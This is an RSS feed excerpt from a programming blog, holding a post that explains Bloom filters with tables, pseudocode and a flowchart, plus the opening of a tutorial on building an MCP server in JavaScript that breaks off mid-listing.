      <content:encoded>&lt;p&gt;Suppose you want to check whether a piece of data belongs to a larger set. Let&amp;rsquo;s say you&amp;rsquo;re Google and you want to check if certain url has been marked as spam, the dumb approach would be to iterate over every url marked as spam to see if you can find it. Sure, maybe you think, &amp;ldquo;I&amp;rsquo;ll save the spammy sites in a hashmap&amp;rdquo;, but then, a hashmap of the gazillion sites that exists in the internet? There must be a way that uses less space.&lt;/p&gt;&#xA;&lt;p&gt;Even if you index those urls you still will have a not so good &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O&lt;/a&gt;&#xA; performance, maybe O(log n) or O.&lt;/p&gt;&#xA;&lt;p&gt;This is an interesting data structure that&amp;rsquo;s probabilistic, it won&amp;rsquo;t have a 100% chance of returning what you wanna know, but the tradeoffs are interesting enough.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ok-but-whats-a-bloom-filter&#34;&gt;Ok but what&amp;rsquo;s a Bloom Filter?&lt;/h2&gt;&#xA;&lt;p&gt;A Bloom filter is a data structure that helps you check if an item might be in a set. It gives &lt;del&gt;blazingly&lt;/del&gt; fast answers with very little memory. The trade-off is that sometimes it can say an item is present when it is not.&lt;/p&gt;&#xA;&lt;p&gt;This data structure can produce &lt;em&gt;false positives&lt;/em&gt;. But the good news are that there are not &lt;em&gt;false negatives&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Because of this, Bloom filters shine when you care more about speed and space than absolute accuracy.&lt;/p&gt;&#xA;&lt;div id=&#34;app-bloom-filter&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;where-can-i-use-bloom-filters&#34;&gt;Where can I use bloom filters?&lt;/h3&gt;&#xA;&lt;p&gt;Bloom filters show up in those systems where quick lookups matter (No, your Tinder for pets probably doesn&amp;rsquo;t apply):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Databases&lt;/strong&gt;: To check if a key might be in a table before doing a costly disk read. Of course we&amp;rsquo;re taking about millions of records, not tiny databases. (Cassandra, HBase, and Redis)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Web caches&lt;/strong&gt;: To test if a page or object might be cached.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Distributed systems&lt;/strong&gt;: To cut down on network calls when asking if a node has certain data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: To quickly filter known bad URLs or email addresses, like in the first example I gave you.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Content recommendation systems&lt;/strong&gt;: Where you want to avoid recommending content already consumed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757107240/coffee-bytes/bloom-filter-usage_fvyq87.png&#34; aria-label=&#34;Bloom filter usage by reddit user&#34;&gt;&#xA;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757107240/coffee-bytes/bloom-filter-usage_fvyq87.png&#34; alt=&#34;Bloom filter usage by reddit user&#34;/&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bloom filters help reduce time and resource usage at scale, if you&amp;rsquo;re ok with some false positives.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-a-bloom-filter-work-internally&#34;&gt;How Does a Bloom Filter Work Internally?&lt;/h2&gt;&#xA;&lt;p&gt;A Bloom filter uses:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A bit array (all values start at 0).&lt;/li&gt;&#xA;&lt;li&gt;A set of hash functions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;When you add an item, the filter runs it through each hash function. Each function gives you an index in the array. You set the bits at those positions to 1.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;there-are-no-deletions-in-classic-bloom-filters&#34;&gt;There are no deletions in classic bloom filters&lt;/h3&gt;&#xA;&lt;p&gt;Since you are not storing real data but the &amp;ldquo;pattern&amp;rdquo; produced by the hash functions, you have no way to tell which combination of data and hash function produced it, hence you cannot &amp;ldquo;delete&amp;rdquo; the item.&lt;/p&gt;&#xA;&lt;h3 id=&#34;you-cannot-retrieve-members-from-the-set&#34;&gt;You cannot retrieve members from the set&lt;/h3&gt;&#xA;&lt;p&gt;Once you construct the bloom filter, you cannot know which items produced that patter from the filter itself, you can only know if something might belong or definitely doesn&amp;rsquo;t belong to the set.&lt;/p&gt;&#xA;&lt;h3 id=&#34;bloom-filter-collisions&#34;&gt;Bloom filter collisions&lt;/h3&gt;&#xA;&lt;p&gt;However when you start adding more and more elements the chances of getting a collision (false positive) increase.&lt;/p&gt;&#xA;&lt;p&gt;You can always add more hash functions to diminish the collitions but then the complexity and memory required increase.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;checking-if-an-item-exists&#34;&gt;Checking if an item exists&lt;/h3&gt;&#xA;&lt;p&gt;When you check an item, the filter does the same. If all the positions are set to 1, the item &lt;em&gt;might&lt;/em&gt; be in the set (this is why it&amp;rsquo;s a probabilistic data structure). If any position is 0, the item is &lt;em&gt;definitely&lt;/em&gt; not in the set.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Bloom Filter&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Word&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;basic-bloom-filter-flow&#34;&gt;Basic Bloom filter Flow&lt;/h2&gt;&#xA;&lt;p&gt;Here’s a simple outline that you can blatanly use to inspire you in the dark arts of bloom filters:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Decide the size of the bit array and initialize all elements to 0.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Pick a few independent hash functions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;To add an item:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run it through each hash function.&lt;/li&gt;&#xA;&lt;li&gt;For each function, mark the bit at the returned index as 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;To check an item:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run it through each hash function.&lt;/li&gt;&#xA;&lt;li&gt;If all bits are 1 → item &lt;em&gt;might&lt;/em&gt; be in the set.&lt;/li&gt;&#xA;&lt;li&gt;If any bit is 0 → item is &lt;em&gt;not&lt;/em&gt; in the set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;bloom-filter-pseudocode&#34;&gt;Bloom filter pseudocode&lt;/h3&gt;&#xA;&lt;p&gt;Using pseudocode (I know, I should have used Javascript instead), it would look like this.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initialize bit_array of size m &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;all&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;choose k &lt;span style=&#34;color:#ff5c57&#34;&gt;hash&lt;/span&gt; functions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;function add(item):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; to k:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; hash_i(item) mod m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        bit_array[index] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;function check(item):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; to k:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; hash_i(item) mod m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; bit_array[index] &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;not present&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;might be present&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;bloom-filter-flow-chart&#34;&gt;Bloom filter flow chart&lt;/h3&gt;&#xA;&lt;p&gt;And if you are a fan of flow charts it would look like this&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    A[Start] --&gt; B[Hash item with k functions]&#xA;    B --&gt; C[Get indexes]&#xA;    C --&gt; D{Add or Check?}&#xA;    D --&gt;|Add| E[Set bits at indexes to 1]&#xA;    D --&gt;|Check| F[Are all bits = 1?]&#xA;    F --&gt;|Yes| G[Might be present]&#xA;    F --&gt;|No| H[Not present]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h2 id=&#34;why-not-use-hashmaps-instead&#34;&gt;Why not use hashmaps instead?&lt;/h2&gt;&#xA;&lt;p&gt;Well you could use some hashmaps approaches like buckets or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;Swiss tables&lt;/a&gt;&#xA; but consider that you have to deal with collisions, also you can use many less intensive hash functions in a bloom filter whereas in hashmaps you need a strong hash function to avoid collisions which can consume some resources.&lt;/p&gt;&#xA;&lt;p&gt;Also in a hashmap you store all the information as key-value pairs, whereas in a bloom filter you only store the results of the hash function, which can save a lot of space in memory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;when-you-shouldnt-use-them&#34;&gt;When you shouldn&amp;rsquo;t use them?&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you need to delete items, standard bloom filters only support inserting new data.&lt;/li&gt;&#xA;&lt;li&gt;If data is small, there is no sense in using a probabilistic approach with false positives, use a hashmap instead.&lt;/li&gt;&#xA;&lt;li&gt;As I told you before, the more data you add, the chances of getting false positives increases, so don&amp;rsquo;t use it for data that grows a lot.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s all, I wrote this entry because I read about this data structure in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/41rodp3&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview Book&lt;/a&gt;&#xA;, found interesting the fact that there is a probabilistic data structure out there, when must of the times you don&amp;rsquo;t deal with probability when you deal with data structures, quite the contrary, you look for determinism.&lt;/p&gt;&#xA;&lt;h2 id=&#34;some-bloom-filter-libraries&#34;&gt;Some bloom filter libraries&lt;/h2&gt;&#xA;&lt;p&gt;Chances are there are already community-maintained libraries, so don&amp;rsquo;t worry about reinventing the wheel.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/bits-and-blooms/bloom&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bits and blooms (go)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/KenanHanke/rbloom&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;rbloom(python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.npmjs.com/package/bloom-filters&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Bloom filters(javascript)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Suppose you want to check whether a piece of data belongs to a larger set. Let&amp;rsquo;s say you&amp;rsquo;re Google and you want to check if certain url has been marked as spam, the dumb approach would be to iterate over every url marked as spam to see if you can find it. Sure, maybe you think, &amp;ldquo;I&amp;rsquo;ll save the spammy sites in a hashmap&amp;rdquo;, but then, a hashmap of the gazillion sites that exists in the internet? There must be a way that uses less space.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a MCP server and MCP tools from scratch?</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/</link>
      <pubDate>Wed, 23 Jul 2025 18:00:32 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/</guid>
      
      <category>artificial intelligence</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;why-would-we-want-to-create-a-mcp-server&#34;&gt;Why Would We Want to Create a MCP Server?&lt;/h2&gt;&#xA;&lt;p&gt;Creating a MCP server allows us to connect an LLM or AI to real-time data, personal data, or other data sources.&lt;/p&gt;&#xA;&lt;p&gt;I previously wrote a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;how the Model Context Protocol (MCP) works internally&lt;/a&gt;&#xA;; you can check it out if you&amp;rsquo;re not satisfied with just a recipe and want to learn more.&lt;/p&gt;&#xA;&lt;p&gt;In this post, I’ll detail how to create a MCP server. We’re going to make one that solves &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://community.openai.com/t/incorrect-count-of-r-characters-in-the-word-strawberry/829618&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;one of the most embarrassing LLM errors: not being able to count the number of r&amp;rsquo;s&lt;/a&gt;&#xA; in variations of the word strawberry. For example: &lt;em&gt;strawberrrry&lt;/em&gt; or &lt;em&gt;strawberrrrrrry&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you’re not a bot, you already know that counting letters is a pretty trivial task for a human.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, for an LLM it&amp;rsquo;s almost impossible due to how it works—based on tokens. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-generated-art-and-ai-generated-code-are-treated-differently/&#34;&gt;AI can create art and code&lt;/a&gt;&#xA;, even though it &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;isn’t a consciou entity&lt;/a&gt;&#xA;, but it can’t count letters. Contradictory, isn’t it?&lt;/p&gt;&#xA;&lt;p&gt;For now, we&amp;rsquo;ll turn this into an educational exercise on how to deploy a MCP server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;requirements-to-create-a-mcp-server-in-javascript&#34;&gt;Requirements to Create a MCP Server in JavaScript&lt;/h2&gt;&#xA;&lt;p&gt;We’ll start with a Node installation—you know, the result of running: &lt;em&gt;npm init -y&lt;/em&gt;, and we’ll create the index file using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;the Linux touch command&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── 